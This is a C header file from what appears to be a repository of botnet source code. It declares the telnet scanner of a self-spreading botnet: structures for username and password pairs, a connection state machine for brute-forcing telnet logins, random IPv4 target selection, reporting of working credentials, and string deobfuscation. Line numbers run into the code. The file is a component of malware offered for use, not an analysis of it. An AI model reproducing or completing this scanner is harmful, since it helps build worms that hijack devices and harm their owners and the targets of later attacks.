Path: blob/master/Botnets/Self Reps/Telnet/telnet.h
5038 views
#pragma once12#include <stdint.h>34#include "includes.h"56#ifdef DEBUG7#define SCANNER_MAX_CONNS 1288#define SCANNER_RAW_PPS 1609#else10#define SCANNER_MAX_CONNS 12811#define SCANNER_RAW_PPS 16012#endif1314#define SCANNER_RDBUF_SIZE 25615#define SCANNER_HACK_DRAIN 641617struct scanner_auth {18char *username;19char *password;20uint16_t weight_min, weight_max;21uint8_t username_len, password_len;22};2324struct scanner_connection {25struct scanner_auth *auth;26int fd, last_recv;27enum {28SC_CLOSED,29SC_CONNECTING,30SC_HANDLE_IACS,31SC_WAITING_USERNAME,32SC_WAITING_PASSWORD,33SC_WAITING_PASSWD_RESP,34SC_WAITING_ENABLE_RESP,35SC_WAITING_SYSTEM_RESP,36SC_WAITING_SHELL_RESP,37SC_WAITING_SH_RESP,38SC_WAITING_TOKEN_RESP39} state;40ipv4_t dst_addr;41uint16_t dst_port;42int rdbuf_pos;43char rdbuf[SCANNER_RDBUF_SIZE];44uint8_t tries;45};4647void scanner_init();48void scanner_kill(void);4950static void setup_connection(struct scanner_connection *);51static ipv4_t get_random_ip(void);5253static int consume_iacs(struct scanner_connection *);54static int consume_any_prompt(struct scanner_connection *);55static int consume_user_prompt(struct scanner_connection *);56static int consume_pass_prompt(struct scanner_connection *);57static int consume_resp_prompt(struct scanner_connection *);5859static void add_auth_entry(char *, char *, uint16_t);60static struct scanner_auth *random_auth_entry(void);61static void report_working(ipv4_t, uint16_t, struct scanner_auth *);62static char *deobf(char *, int *);63static BOOL can_consume(struct scanner_connection *, uint8_t *, int);646566